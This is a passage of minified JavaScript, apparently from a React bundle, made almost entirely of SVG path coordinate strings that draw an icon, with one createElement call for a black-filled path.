.43-.08.368-.013-.034.036-.07.127-.104.256-.03.11-.05.2-.05.203l.065.013.424.086c.32.066.509.095.555.087.08-.017.131.017.131.087 0 .059-.042.095-.211.173a1.796 1.796 0 0 0-.264.16 3.833 3.833 0 0 0-.618.648c-.06.084-.086.123-.099.166-.01.037-.01.078-.01.153 0 .178.041.449.096.635l.034.116.059-.159a2.51 2.51 0 0 1 .325-.62c.095-.13.112-.166.084-.177-.044-.017 0-.188.038-.211.038-.024.292-.248.562-.502l.49-.46v-.123c0-.119.001-.123.065-.136.036-.006.101-.012.143-.012.061-.002.1-.024.203-.117.067-.063.118-.122.107-.13a.63.63 0 0 0-.187-.024c-.137-.006-.23.006-.45.057-.31.074-.462.08-.606.032-.099-.034.049-.093.142-.119 0 0-.22-.378-.186-.368.291.09.412.093.663.03Zm4.95 2.02c-.004-.011-.005.007-.006.047.007-.02.01-.038.007-.047ZM12.89 1.615c-.008-.008-.009.001-.006.023.02 0 .02-.006.006-.023Zm-1.694 1.728c-.093.333-.174.674-.174.674l.074-.16c.04-.09.1-.451.1-.506v-.008Zm.188-.762-.002-.001.002.001Zm-.002-.001c-.043-.028-.771-.54-.771-.54l-.025.084c-.024.08.595.363.759.439l.037.017Zm-2.74-.168c.443.09.452.093.37.116l-.213.06-.258.073-.41.115.015-.057c.047-.195.101-.383.112-.383.008 0 .18.034.384.076Zm-.739.427.043-.152.052-.178c.007-.013.007-.025.005-.025-.007 0-.69.501-.707.516a.563.563 0 0 0 .135-.03l.308-.087.164-.044Zm3.084 1.273-.053.174c-.063.215-.108.429-.142.691a.661.661 0 0 1-.11.336 1.565 1.565 0 0 0-.103.2c-.056.129-.062.036-.071-.259a3.682 3.682 0 0 1 .078-.941c.044-.2.316-.374.346-.313l.055.112Zm-2.662.685c.017-.072.011-.116-.031-.24a2.302 2.302 0 0 1-.118-.555c.004-.21-.018-.224-.097-.023-.135.302-.165.433-.165.746 0 .172.01.322.027.375.024.08.034.09.089.09h.063v.265c0 .22-.004.264-.031.264-.045 0-.04.024.023.174.101.243.633.81.58.706-.173-.357-.422-1.083-.382-1.487.013-.124.032-.268.042-.315Zm4.525.385c.027.108.027.127-.01.237a1.486 1.486 0 0 0-.014.04.816.816 0 0 1-.109.241c-.1.11-.101.112-.127.066-.1-.193-.139-.681-.075-1.013.027-.146.135-.535.147-.535.004 0 .017.078.032.173.027.195.11.614.156.791ZM6.647 4.51l.137.467s-.188-.391-.192-.431l.055-.036Zm1.234.662c0 .01-.086.019-.192.019h-.192l-.525.008c.003-.014.15-.074.32-.145h.001l.104-.043c.197.01.393.023.413.049.04.052.071.103.071.112Zm-.484-.16-.08-.005c-.171-.008-.327-.016-.345-.03l.616-.125.235-.047c-.009.03-.217.12-.426.206Zm-.391.707-.138-.215c0-.176-.008-.24-.046-.328a.553.553 0 0 0-.067-.135c-.004 0-.03.1-.068.247l-.095.357-.158.58.063.023c.036.013.16.078.276.148.119.07.23.127.25.127.067 0 .075-.087.033-.267a1.877 1.877 0 0 1-.046-.35l-.004-.187Zm3.821.176c.049.245.137.476.275.717.065.114.116.211.111.215a.778.778 0 0 1-.255.043c-.03-.02-.148-.275-.228-.495-.09-.248-.173-.59-.158-.654a1.84 1.84 0 0 1 .101-.234l.087-.18.017.207c.008.114.03.286.05.38Zm1.682.03c.005-.036-.019-.058-.101-.1-.11-.055-.403.125-.403.125.067.14.251.383.3.383.012 0 .095-.064.185-.142.175-.152.194-.203.082-.214-.056-.006-.067-.014-.063-.053Zm-.264.46-.054.039c-.074.05-.56.29-.57.28a5.99 5.99 0 0 1 .114-.422l.103-.148c.021.04.081.055.143.07.055.014.11.027.142.059l.123.122Zm-.966.379c.008-.01.065-.176.127-.364.059-.19-.136-.044-.16.127-.016.112.005.265.033.237Zm-2.3-.379c-.049.15-.097.284-.106.292-.008.01-.053 0-.099-.023-.07-.036-.087-.057-.11-.15-.025-.104-.025-.112.028-.203a.457.457 0 0 1 .278-.22c.114-.028.12-.028.11.002-.005.01-.03.086-.063.186l-.038.116Zm.69.305a1.821 1.821 0 0 1-.15-.391c-.03-.144-.044-.176-.082-.186-.085-.024-.093-.013-.148.171l-.068.22-.04.127-.05.163.215.044c.116.023.262.05.323.057l.11.013-.11-.218Zm.234-.4.22.106-.098.11a.788.788 0 0 0-.133.207.579.579 0 0 1-.048.112c-.038.043-.274-.507-.274-.636 0-.045.078-.02.333.101Zm.68.635.263-.02c.043-.004-.268-.238-.5-.38a1.313 1.313 0 0 0-.152-.087.83.83 0 0 0-.093.093.69.69 0 0 0-.179.322l-.013.065.216.013c.118.006.325.002.457-.006Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#000",d:"m10.469 1.515.03-.147h-.005l-.025.147Zm-.646.034-.037-.145.037.145Zm.795-.016.014-.15-.014.15Zm.176.03-.101-.11-.002.002.103.109Zm.728 1.048.125.083.005-.009-.13-.074Zm-.104.105-.101-.11.101.11Zm-.194.522-.144-.041.266.129-.122-.088Zm.165-.135-.084-.124.084.124Zm1.365-1.036-.089-.12-.004.003.093.117Zm-.215-.036-.002-.15.002.15Zm-.42.057-.036-.145.036.145Zm-.465-.193-.112.1.004.003.108-.103Zm0 0 .113-.1-.002-.002-.11.102Zm0 0 .111-.102-.002-.002-.109.104Zm-.031-.03.083-.126-.083.125Zm-.013-.204.041-.144h-.002l-.039.144Zm.562-.004-.038-.145.038.145Zm.605-.034.024-.148h-.006l-.018.148Zm.028.004.026-.147h-.002l-.024.147Zm0 0-.026.148h.002l.024-.147Zm.2.413.1-.113-.006-.004-.094.117Zm.836.33.019-.15h-.003l-.016.15Zm-.09.274-.029-.147.028.147Zm-.754.87-.13-.076.13.076Zm-.133 1.42-.147.032v.001l.147-.032Zm.071.185-.118-.093-.004.006.122.087Zm.995-.034v.15h.086l.043-.075-.13-.075Zm.164-.286.13.075-.13-.075Zm.158-.294-.106.107.018.017.021.01.067-.134Zm-.546-.044-.01.15.01-.15Zm-.545-.04-.134.067.023.045.044.022.067-.134Zm.23-.43-.13-.072.13.073Zm.235-.422.024-.148-.104-.018-.052.093.132.073Zm.476.08-.024.148.024-.148Zm.15.025-.026.148.025-.148Zm0 0-.025.148.025-.148Zm0 0 .025-.148-.025.148Zm0 0 .025-.148-.025.148Zm0 0-.024.148.025-.148Zm0 0 .025-.148-.024.148Zm.387.066-.03.147h.003l.027-.147Zm.1-.066.13.076.002-.003-.131-.073Zm.027-.048-.15-.006.15.006Zm-.168.77.133.07v-.001l-.133-.07Zm-.365.695-.133-.07-.017.033v.037h.15Zm0 .48v.15h.15v-.15h-.15Zm-.152.104.148-.026-.148.026Zm.015.085.148-.026-.148.026Zm.02.171-.12-.09-.005.006-.005.007.13.077Zm-.121.02V5.8h-.003l.003.15Zm-.11.001-.003-.15-.1.002-.037.095.14.053Zm-.061.16.137.062.003-.008-.14-.053Zm-.618.997.118.091.001-.001-.12-.09Zm-.051.065-.119-.091-.114.148.17.08.063-.137Zm.118.055-.063.136.063-.136Zm.454.478.133-.068-.133.068Zm.004.783-.008-.15h-.014l-.014.004.036.146Zm-.51.078-.023-.148.023.148Zm-.233.036-.022-.148.022.148Zm-.753.103-.054.141.013.004.04-.145Zm-.186-.31.144-.045v-.001l-.144.046Zm-.013-.043.142-.046v-.002l-.143.048Zm0 0-.144.044.001.003.143-.047Zm0 0 .143-.045-.143.045Zm-.031-.093-.146.037.003.011.005.011.138-.059Zm-.256.1.068.134h.001l-.069-.134Zm-.852.306.033.147-.033-.147Zm-2.07-.127-.052.141h.001l.05-.14Zm-.84-.416.079-.128-.08.128ZM6.784 7.058l.108-.104-.108.104Zm-.41-.336.068-.134H6.44l-.066.134Zm-.489-.123-.122.087.002.003.12-.09Zm.07-.27.11.101.017-.018.01-.023-.137-.06Zm.02-.079-.081.126.081-.126Zm-.247-.16.082-.126-.007-.005-.006-.003-.069.133Zm.784-1.544.109.103-.11-.103Zm.411-1.094-.128-.077-.001.001.13.076Zm.049-.173.137-.06v-.002l-.137.062Zm.257-.324.087.122-.087-.122Zm.817-.615.142.047v-.002l-.142-.045Zm-.378.03-.049-.142.05.142Zm-.798.071.07-.133h-.002l-.068.133Zm-.014-.196.01-.15-.01.15Zm.04-.193-.149.014v.004l.15-.018Zm0 0 .15-.014v-.003l-.15.017Zm.066-.116.051-.14-.051.14Zm0 0-.052.141.052-.14Zm0 0 .051-.14-.051.14Zm0 0-.052.141.052-.14Zm0 0 .052-.14h-.001l-.051.14Zm0 0-.052.14v.001l.052-.14Zm.022.009-.051.14.002.001.05-.141Zm.67-.04.04.144-.04-.145Zm.4-.087.017.15.01-.003-.027-.147Zm.368-.013.109.103-.11-.103Zm-.104.256.145.039v-.001l-.145-.038Zm-.05.203h-.15v.15h.15v-.15Zm.065.013-.03.147.03-.147Zm0 0 .03-.147-.03.147Zm.424.086.03-.147-.03.147Zm.555.087.027.148.004-.001-.03-.147Zm-.08.26-.063-.136h-.001l.064.136Zm-.264.16.09.12-.09-.12Zm-.618.648.123.086-.123-.086Zm-.099.166.144.042-.144-.042Zm.086.788.144-.042-.144.042Zm.034.116-.144.042.126.435.158-.425-.14-.052Zm.059-.159.14.053.001-.001-.141-.052Zm.325-.62-.121-.087.121.088Zm.084-.177.054-.14-.054.14Zm.038-.211L8.8 3.293l.078.128Zm.562-.502.102.11-.102-.11Zm.49-.46.102.109.047-.045v-.065h-.15Zm.065-.259-.026-.147h-.004l.03.147Zm.143-.012v.15h.005l-.005-.15Zm.203-.117.1.112.003-.002-.103-.11Zm.107-.13-.106.105.006.006.007.005.094-.117Zm-.187-.024-.007.15h.003l.004-.15Zm-.45.057-.034-.146.034.146Zm-.606.032-.048.142.048-.142Zm.142-.119.04.145.187-.051-.097-.169-.13.075ZM9.16 1.52l-.045.144h.001l.044-.144Zm5.614 2.05.14-.053-.002-.004-.138.057Zm-1.885-1.954.115-.097-.006-.007-.109.104Zm-1.867 2.402-.146-.035.282.098-.136-.063Zm.173-.674h.15l-.295-.04.145.04Zm-.1.513.137.063v-.001l-.137-.062Zm.1-.505-.15-.001h.15Zm.188-.77.106-.106-.015-.016-.02-.01-.07.132Zm-.773-.541.086-.123-.17-.12-.06.2.144.043Zm-.025.084.143.044-.143-.044Zm.759.439-.063.136.063-.136ZM9.01 2.528l-.04-.144-.004.001.044.143Zm-.369-.116-.03.147.03-.147Zm.157.176-.04-.144h-.001l.041.144Zm0 0 .04.145h.002l-.042-.145Zm-.258.073.04.145-.04-.145Zm-.41.115-.145-.038-.065.252.25-.07-.04-.144Zm.015-.057.145.037.001-.003-.146-.034Zm-.2-.032L7.8 2.643v.004l.144.04Zm-.043.152.04.145.082-.022.023-.083-.145-.04Zm.095-.33-.134-.067-.006.013-.004.013.144.041ZM7.295 3l-.1-.112-.014.013-.011.017.125.083Zm.135-.029.038.145h.003L7.43 2.97Zm.308-.087.038.146-.038-.146Zm3.195 1.403-.144-.044v.001l.144.043Zm.053-.174.143.044.017-.057-.026-.053-.134.066Zm-.195.865-.148-.02v.001l.148.02Zm-.11.336-.128-.077v.002l.129.075Zm-.103.2.138.059.003-.008.003-.007-.144-.045Zm-.071-.259.15-.005v-.002l-.15.007Zm.078-.941-.147-.032.147.032ZM10.93 4l-.135.065v.001L10.931 4Zm-2.638.556-.142.048.142-.048Zm.031.241-.146-.034v.001l.146.033Zm-.15-.795L8.025 4v.006l.15-.003Zm-.096-.023.137.061.002-.006-.14-.055Zm-.138 1.12.145-.041-.002-.004-.143.046Zm.152.092h.15v-.15h-.15v.15Zm-.008.702.138-.058-.138.058Zm.58.706-.135.065.002.003.133-.068Zm-.382-1.487-.149-.015.15.015Zm4.556.307.142.05v-.001l-.142-.049Zm.011-.237.145-.037-.145.037Zm-.024.277-.143-.047-.001.006.144.04Zm0 0 .143.044.001-.003-.144-.041Zm0 0 .142.047.001-.003-.143-.044Zm-.109.241.111.1-.11-.1Zm-.127.066-.132.07v.002l.132-.072Zm-.075-1.013.147.028-.147-.028Zm.179-.362.148-.02v-.003l-.148.023Zm-5.909.586-.135.065.279-.107-.144.042Zm-.137-.467.144-.043-.057-.194-.17.111.083.126Zm-.055.036L6.51 4.42l-.077.05.01.091.149-.015Zm.905.645v-.15h-.002l.002.15Zm-.525.008-.145-.039-.051.192.198-.003-.002-.15Zm.32-.145.058.14v-.001l-.057-.139Zm0 0 .059.139-.058-.139Zm.001 0-.056-.139-.002.001.058.138Zm0 0-.041-.144-.008.002-.007.003.056.14Zm0 0 .041.145.008-.003.008-.003-.057-.139Zm.517.006.12-.091-.003-.002-.117.093Zm-.492-.053.007-.15-.007.15Zm-.346-.03-.03-.147-.327.066.267.201.09-.12Zm.616-.125.03.147-.03-.147Zm.235-.047.144.04.065-.236-.24.049.03.147Zm-.955.699h-.15v.043l.024.037.126-.08Zm.138.215.15-.003-.001-.042-.023-.035-.126.08Zm-.184-.543-.139.057.001.002.138-.06Zm-.135.112.145.038-.145-.038Zm0 0-.145-.038.145.038Zm-.095.357.145.04-.145-.04Zm-.158.58-.145-.04-.036.133.129.048.052-.141Zm.063.023-.052.14.002.001.05-.141Zm.276.148-.077.129h.001l.076-.129Zm.283-.14.146-.034V6.22l-.146.037Zm-.046-.35.15-.004-.15.003Zm4.092.706-.13.074.13-.074Zm-.275-.717.148-.03-.001-.003-.147.033Zm.386.932.101.112.006-.006-.107-.106Zm-.255.043-.081.126.008.005.073-.131Zm-.228-.495.141-.051-.14.05Zm-.158-.654.146.034v-.002l-.146-.032Zm.101-.234.135.066v-.001l-.135-.065Zm.087-.18.15-.012-.046-.551-.24.498.136.065Zm.017.207.15-.01v-.002l-.15.012Zm1.63.311.07-.133-.002-.001-.067.134Zm.102.1-.149-.018v.001l.15.016Zm-.504.025-.079-.128-.115.071.059.123.135-.066Zm.485.24.098.115-.098-.114Zm.082-.213-.016.15h.002l.014-.15Zm-.381.447.084.123h.001l-.085-.123Zm.054-.039.086.124.147-.103-.126-.126-.107.105Zm-.624.32-.107.106.007.006.006.005.094-.117Zm.114-.423-.123-.086-.015.02-.006.025.144.04Zm.103-.148.132-.07-.115-.218-.14.202.123.086Zm.143.07.036-.145-.036.145Zm.142.059-.106.106.106-.106Zm-.717.137.142.047v-.002l-.142-.045Zm-.127.364.106.106.006-.006.005-.006-.117-.094Zm-.034-.237-.148-.022v.003l.148.02Zm-2.372.15-.106-.106-.006.006-.005.007.117.093Zm.106-.292-.143-.047v.001l.143.046Zm-.205.27-.069.132.002.001.067-.134Zm-.11-.151-.145.036.145-.036Zm.028-.203-.13-.076.13.076Zm.278-.22-.035-.146.035.146Zm.11.002.138.06.003-.01-.141-.05Zm-.063.186.143.047-.143-.047Zm.502.03-.147.03v.003L9.52 6.3Zm.15.391.134-.067-.134.067Zm-.232-.577.04-.145-.04.145Zm-.148.171.143.044v-.001l-.143-.043Zm-.068.22-.143-.045.143.045Zm-.04.127.144.044-.144-.044Zm-.05.163-.144-.045-.049.158.162.034.03-.147Zm.215.044-.03.147.03-.147Zm.323.057.017-.149h-.002l-.015.15Zm.11.013-.018.149.277.032-.126-.249-.134.068Zm.344-.512.112.1.131-.15-.178-.085-.066.135Zm-.22-.106.065-.135h-.001l-.064.135Zm.122.216.112.1-.112-.1Zm-.133.207.142.051-.142-.05Zm-.048.112-.106-.106-.006.006.112.1Zm1.002.08v.15h.015l-.015-.15Zm-.264.02.01.15h.002l-.011-.15Zm-.236-.4-.08.127.002.001.078-.128Zm-.245.006.11.103.001-.001-.11-.102Zm-.179.322.147.028-.147-.028Zm-.013.065-.147-.028-.032.168.17.01.01-.15Zm.216.013-.01.15h.002l.008-.15Zm.369-5.564a2.073 2.073 0 0 0-.708.037l.073.29c.168-.042.447-.054.584-.03l.05-.297Zm.138.016a1.836 1.836 0 0 1-.134-.015l-.059.294c.042.009.11.015.165.02l.028-.299Zm.263.292a.154.154 0 0 0 .009-.218c-.03-.032-.066-.043-.07-.044a.39.39 0 0 0-.065-.015l-.137-.015-.028.3c.049.004.092.008.12.012.017.003.02.004.014.002a.138.138 0 0 1-.053-.035.147.147 0 0 1 .008-.209l.202.222Zm-.1.284c0 .01 0 .013.002 0a2.023 2.023 0 0 1 .112-.3c.007-.011.002 0-.013.014l-.205-.218c-.024.022-.039.05-.045.06a2.13 2.13 0 0 0-.142.379.306.306 0 0 0-.008.065h.3Zm.638.396c.021 0 .037.005.041.006l.012.004.003.001a14.378 14.378 0 0 1-.734-.509l.005.006a.132.132 0 0 1 .013.017c.002.003.023.034.023.08h-.3c0 .046.021.077.024.081a.174.174 0 0 0 .034.04l.031.026.09.068a14.126 14.126 0 0 0 .674.457.288.288 0 0 0 .039.016.157.157 0 0 0 .045.007v-.3Zm.219.33a.183.183 0 0 0 .01-.156.302.302 0 0 0-.112-.137.214.214 0 0 0-.117-.037v.3a.102.102 0 0 1-.048-.012c-.003-.002-.002-.002 0 0l-.005-.009a.099.099 0 0 1-.006-.03c0-.016.002-.041.017-.068l.26.149Zm-.132.142.073-.07a.523.523 0 0 0 .053-.063l-.25-.167.005-.006-.004.005a.83.83 0 0 1-.08.08l.203.221Zm-.152.453c.036-.125.072-.241.104-.33.016-.045.03-.08.042-.105.015-.032.018-.03.006-.019l-.204-.22a.363.363 0 0 0-.073.11 1.521 1.521 0 0 0-.053.132 5.858 5.858 0 0 0-.11.349l.288.083Zm-.063-.3a.794.794 0 0 0-.203.17l.244.176a.6.6 0 0 1 .127-.098l-.168-.249Zm1.356-1.03c-.283.224-1.252.959-1.356 1.029l.168.249a63.98 63.98 0 0 0 1.374-1.043l-.186-.235Zm-.12.231c.081 0 .132.003.154.007h.003a.11.11 0 0 1-.036-.02.143.143 0 0 1-.049-.138c.011-.054.048-.08.052-.084l.178.242a.157.157 0 0 0 .01-.253.19.19 0 0 0-.063-.033.315.315 0 0 0-.044-.01 1.25 1.25 0 0 0-.21-.01l.005.3Zm-.386.053a1.68 1.68 0 0 1 .386-.053l-.005-.3c-.145.003-.289.021-.453.062l.072.29Zm-.609-.236c.036.038.109.114.208.172.101.06.24.104.401.064l-.073-.291a.23.23 0 0 1-.177-.032.67.67 0 0 1-.142-.12l-.217.207Zm-.004-.004.225-.199-.225.2Zm.002.002.221-.203-.221.203Zm-.004-.007a.144.144 0 0 1-.008-.006c-.002 0-.002-.002-.003-.002l.001.001a.522.522 0 0 1 .007.006c.002.003.005.007.01.01l.216-.207-.022-.022a.24.24 0 0 0-.035-.03l-.166.25Zm-.221-.347c0 .048.019.092.03.114a.625.625 0 0 0 .05.085c.034.05.086.111.14.148l.167-.25-.002-.001a.151.151 0 0 1-.021-.02.472.472 0 0 1-.064-.092l-.003-.007.001.006.002.017h-.3Zm.33-.126a1.036 1.036 0 0 0-.12-.025.318.318 0 0 0-.057-.003.175.175 0 0 0-.056.012.153.153 0 0 0-.097.142h.3a.148.148 0 0 1-.091.136c-.022.009-.039.01-.04.01h.001a.747.747 0 0 1 .083.018l.077-.29Zm.485-.004a.846.846 0 0 1-.483.005l-.082.288c.215.062.408.058.64-.003l-.075-.29Zm.661-.038a1.794 1.794 0 0 0-.66.038l.074.29c.17-.043.353-.053.55-.03l.036-.298Zm.034.005-.028-.004-.047.296.028.005.047-.297Zm.002 0-.052.296.052-.295Zm.055.009-.012-.002a2.415 2.415 0 0 1-.045-.007l-.048.297c.032.005.071.011.1.012l.005-.3Zm.213.435c.016.013.025.026.027.029l.007.01c.001.003.002.003 0 0a2.66 2.66 0 0 1-.101-.346l-.297.043a2.869 2.869 0 0 0 .123.422.3.3 0 0 0 .022.042.16.16 0 0 0 .031.034l.188-.234Zm.758.297c.011.002.017.004.008.001a13.676 13.676 0 0 1-.776-.306c-.011-.006 0 0 .015.012l-.198.225c.019.017.04.027.045.03l.035.016.098.043a13.761 13.761 0 0 0 .696.268c.008.002.026.008.044.01l.033-.299Zm.252.266a.256.256 0 0 0-.072-.188.298.298 0 0 0-.178-.077l-.037.297a.144.144 0 0 1 .018.004h.001s-.007-.003-.015-.01a.066.066 0 0 1-.016-.026c-.002-.006-.001-.007-.001 0h.3Zm-.33.306a.512.512 0 0 0 .212-.09.275.275 0 0 0 .118-.216h-.3c0-.03.018-.036 0-.023a.218.218 0 0 1-.087.034l.056.295Zm-.653.798c.121-.206.268-.41.401-.563.067-.076.128-.138.178-.181a.503.503 0 0 1 .06-.046c.018-.01.021-.01.013-.008l-.056-.295a.345.345 0 0 0-.114.047.799.799 0 0 0-.098.074c-.066.056-.137.13-.21.213a4.263 4.263 0 0 0-.433.607l.259.152Zm-.241.528c0-.018.011-.072.055-.173a3.41 3.41 0 0 1 .186-.355l-.259-.152a3.706 3.706 0 0 0-.202.387.803.803 0 0 0-.08.293h.3Zm.126.785a9.328 9.328 0 0 1-.088-.475 2.958 2.958 0 0 1-.038-.31h-.3c0 .067.018.207.042.357.024.154.057.335.09.491l.293-.063Zm-.198.129c.001-.001.011-.016.031-.03a.143.143 0 0 1 .128-.015c.043.016.064.046.068.053.006.009.008.015.007.013a1.657 1.657 0 0 1-.037-.15l-.293.064c.02.086.034.153.05.193a.229.229 0 0 0 .022.043.157.157 0 0 0 .223.048.182.182 0 0 0 .046-.045l-.245-.174Zm.631-.097c-.209 0-.336 0-.414.006a.516.516 0 0 0-.106.016.202.202 0 0 0-.106.07l.236.184a.1.1 0 0 1-.047.034l.043-.005c.066-.004.181-.005.394-.005v-.3Zm.486 0h-.486v.3h.486v-.3Zm.034-.21-.165.285.26.15.165-.286-.26-.15Zm.221-.085a.15.15 0 0 1-.082-.141c0-.017.004-.03.005-.032l.003-.01.001-.003s0 .003-.004.01a9.816 9.816 0 0 1-.144.261l.26.149a9.733 9.733 0 0 0 .165-.304.172.172 0 0 0 .013-.057.151.151 0 0 0-.082-.142l-.135.269Zm-.489-.03a21.94 21.94 0 0 1 .524.042h.001a.124.124 0 0 1-.025-.008c-.002 0-.027-.01-.05-.032l.212-.213a.154.154 0 0 0-.099-.045 22.3 22.3 0 0 0-.544-.043l-.019.3Zm-.602-.055a.148.148 0 0 0 .052.015.587.587 0 0 0 .048.005l.12.01.382.026.02-.3a37.405 37.405 0 0 1-.527-.038h-.006a.048.048 0 0 0 .004 0 .138.138 0 0 1 .042.014l-.135.268Zm.166-.636a27.233 27.233 0 0 0-.23.428.22.22 0 0 0-.013.033.16.16 0 0 0-.005.023c0 .003-.006.042.015.085l.269-.134c.02.042.015.081.014.084a.14.14 0 0 1-.008.035c-.001.003-.002.004 0 .002a25.765 25.765 0 0 1 .222-.41l-.264-.146Zm.234-.423-.234.423.263.145.234-.423-.263-.145Zm.633.005-.477-.08-.05.296.478.08.05-.296Zm.15.025-.15-.025-.05.296.15.025.05-.296Zm0 0-.05.296.05-.296Zm0 0-.05.296.05-.296Zm0 0-.05.296.05-.296Zm0 0-.05.296.05-.296Zm0 0-.05.296.05-.296Zm.391.067c-.028-.006-.194-.034-.39-.067l-.05.296c.202.034.359.06.381.065l.059-.294Zm-.058.006a.236.236 0 0 1-.014.023c-.002.002.004-.006.017-.014a.102.102 0 0 1 .045-.015h.007l-.053.295a.218.218 0 0 0 .16-.026.31.31 0 0 0 .098-.112l-.26-.15Zm.015-.033a.26.26 0 0 1-.017.036l.263.145a.551.551 0 0 0 .037-.081l-.283-.1Zm.291.066v-.01l-.3-.012v.01l.3.012Zm-.184.833c.165-.32.179-.699.184-.833l-.3-.012c-.005.14-.02.454-.15.706l.266.139Zm-.366.696.365-.696-.265-.14-.365.697.265.139Zm.017.41v-.48h-.3v.48h.3Zm-.234.15h.084v-.3h-.084v.3Zm.066-.145a.15.15 0 0 1-.088.136c-.014.006-.025.008-.027.009a.119.119 0 0 1-.012.002h.01l.051-.002v-.3a1.354 1.354 0 0 0-.095.004.193.193 0 0 0-.021.004.15.15 0 0 0-.118.147h.3Zm.014.073-.012-.07-.003-.018v-.003.018h-.3a.12.12 0 0 0 .001.012v.006l.001.005.002.01.003.022.013.07.295-.052Zm.015.085-.015-.085-.295.052.014.084.296-.051Zm-.009.287c.027-.035.03-.073.03-.077a.543.543 0 0 0-.002-.082 2.367 2.367 0 0 0-.019-.128l-.296.051a2.114 2.114 0 0 1 .02.132v-.01l.004-.02a.141.141 0 0 1 .023-.046l.24.18Zm-.24.08a.688.688 0 0 0 .154-.02.198.198 0 0 0 .035-.015.161.161 0 0 0 .06-.058l-.258-.154a.14.14 0 0 1 .07-.058h-.004a.394.394 0 0 1-.057.004v.3Zm-.107.001.11-.002-.006-.3-.11.002.006.3Zm.076.064.061-.16-.28-.107-.061.16.28.107ZM13.325 7.2c.239-.316.522-.772.636-1.025l-.274-.123a6.409 6.409 0 0 1-.601.967l.24.181Zm-.051.067.05-.066-.237-.183-.05.066.237.183Zm.063-.173-.119-.055-.126.272.118.055.126-.272Zm.523.545c-.124-.24-.318-.451-.524-.545l-.125.273c.127.058.279.21.383.41l.266-.138Zm.11.44c0-.089 0-.157-.018-.227-.017-.067-.05-.13-.091-.212l-.268.136c.047.092.061.122.068.15a.648.648 0 0 1 .009.152h.3Zm-.231.561a.171.171 0 0 0 .127-.07.285.285 0 0 0 .035-.062.758.758 0 0 0 .036-.126c.02-.09.033-.202.033-.304h-.3c0 .079-.011.17-.026.242a.467.467 0 0 1-.02.073c-.004.008-.003.004.003-.004 0 0 .031-.045.096-.048l.016.3Zm-.496.078.362-.056a43.084 43.084 0 0 0 .138-.021l.025-.005-.074-.29c.008-.003.013-.003.001-.001a7.058 7.058 0 0 1-.136.02c-.09.015-.216.034-.361.056l.045.297Zm-.232.035.232-.035-.045-.297-.232.036.045.296Zm-.817.1c.02.005.037.006.038.006a.209.209 0 0 0 .036-.002 37.005 37.005 0 0 0 .743-.104l-.045-.296a36.624 36.624 0 0 1-.724.101h-.006.006a.132.132 0 0 1 .034.006l-.082.289Zm-.288-.411a1.114 1.114 0 0 0 .17.32.396.396 0 0 0 .037.043.213.213 0 0 0 .068.044l.107-.28c.013.004.02.01.024.012l.006.004-.002-.002a.83.83 0 0 1-.123-.23l-.287.089Zm-.013-.042.013.043.286-.091-.014-.043-.285.091Zm0 .002.285-.095-.285.095Zm0-.003.286-.089-.287.09Zm-.026-.078.001.004.006.018.019.057.285-.09c-.011-.038-.027-.087-.035-.107l-.276.118Zm-.049.174c.083-.043.14-.069.175-.082l.018-.006c-.001 0-.019.003-.043-.002a.145.145 0 0 1-.109-.106l.291-.073a.156.156 0 0 0-.119-.115.185.185 0 0 0-.068 0 .406.406 0 0 0-.078.022c-.05.02-.118.051-.204.095l.137.267Zm-.888.32c.329-.075.572-.162.887-.32l-.135-.267a3.288 3.288 0 0 1-.818.294l.066.293Zm-2.154-.132a3.88 3.88 0 0 0 2.154.132l-.066-.293a3.58 3.58 0 0 1-1.986-.122l-.102.283Zm-.868-.43c.233.143.654.351.867.43l.103-.282a5.919 5.919 0 0 1-.812-.404l-.158.255Zm-1.233-1.09c.654.684.825.838 1.233 1.09l.158-.256c-.374-.23-.523-.36-1.174-1.042l-.217.208Zm-.368-.306a.727.727 0 0 1 .152.094c.05.041.11.101.217.212l.216-.208a2.982 2.982 0 0 0-.243-.236 1.023 1.023 0 0 0-.207-.13l-.135.268Zm-.247-.067c.06 0 .087.003.112.01a.757.757 0 0 1 .136.057l.133-.269a1.026 1.026 0 0 0-.193-.079.71.71 0 0 0-.188-.019v.3Zm-.295-.1a.23.23 0 0 0 .14.09c.045.01.099.01.155.01v-.3a1.224 1.224 0 0 1-.09-.003s.007.001.017.007a.07.07 0 0 1 .018.016l-.24.18Zm.08-.462a.511.511 0 0 0-.128.213.29.29 0 0 0 .046.246l.244-.174c-.002-.003-.001-.002 0 0v.002a.234.234 0 0 1 .058-.084l-.22-.203Zm.049.15a.146.146 0 0 1-.066-.112c-.001-.016.001-.027.001-.027 0-.004.001-.003-.002.004a.381.381 0 0 1-.006.018l-.003.006v.002l.137.06.137.061a.026.026 0 0 1 0-.001l.002-.004a.76.76 0 0 0 .03-.09.19.19 0 0 0 .003-.047c0-.011-.005-.08-.07-.122l-.163.251Zm-.248-.162.248.161.163-.251-.247-.161-.164.251Zm.757-1.773c-.156.165-.407.54-.593.88-.093.17-.175.341-.222.48a.726.726 0 0 0-.042.201c-.002.055.008.166.114.22l.137-.267c.058.03.048.084.049.056 0-.02.007-.057.027-.115.038-.113.11-.266.2-.431.182-.333.419-.681.548-.817l-.218-.207Zm.104-.154v.038c-.001.001-.001 0 0 0v-.001a3.223 3.223 0 0 1-.104.118l.218.205c.063-.067.116-.122.146-.174.04-.071.04-.134.04-.186h-.3Zm.287-.912a2.368 2.368 0 0 0-.198.46c-.05.158-.089.327-.089.452h.3c0-.078.027-.211.075-.361.047-.147.11-.295.17-.398l-.258-.153Zm.04-.037c.003.007 0 .003 0-.007a.074.074 0 0 1 0-.029c.002-.002.001 0-.006.015a1.293 1.293 0 0 1-.033.057l.257.154c.028-.047.058-.097.071-.144a.227.227 0 0 0-.014-.166l-.275.12Zm.308-.506a1.42 1.42 0 0 0-.27.226.273.273 0 0 0-.062.142.267.267 0 0 0 .025.14l.273-.124c-.004-.01.002-.001 0 .016s-.01.023-.002.013c.022-.027.077-.073.21-.169l-.174-.244Zm.762-.54a.138.138 0 0 1 .025-.045c.001-.002.001-.002-.002.001a5.346 5.346 0 0 1-.191.151c-.138.104-.34.25-.594.433l.175.244c.255-.183.458-.331.6-.437a5.647 5.647 0 0 0 .215-.172.327.327 0 0 0 .021-.022c.002-.001.024-.025.035-.059l-.284-.094Zm-.187.218a.955.955 0 0 1 .259-.048l.013.001s-.004 0-.01-.003a.115.115 0 0 1-.03-.017.138.138 0 0 1-.046-.15l.286.091a.162.162 0 0 0-.056-.178.204.204 0 0 0-.088-.038.515.515 0 0 0-.13-.003 1.254 1.254 0 0 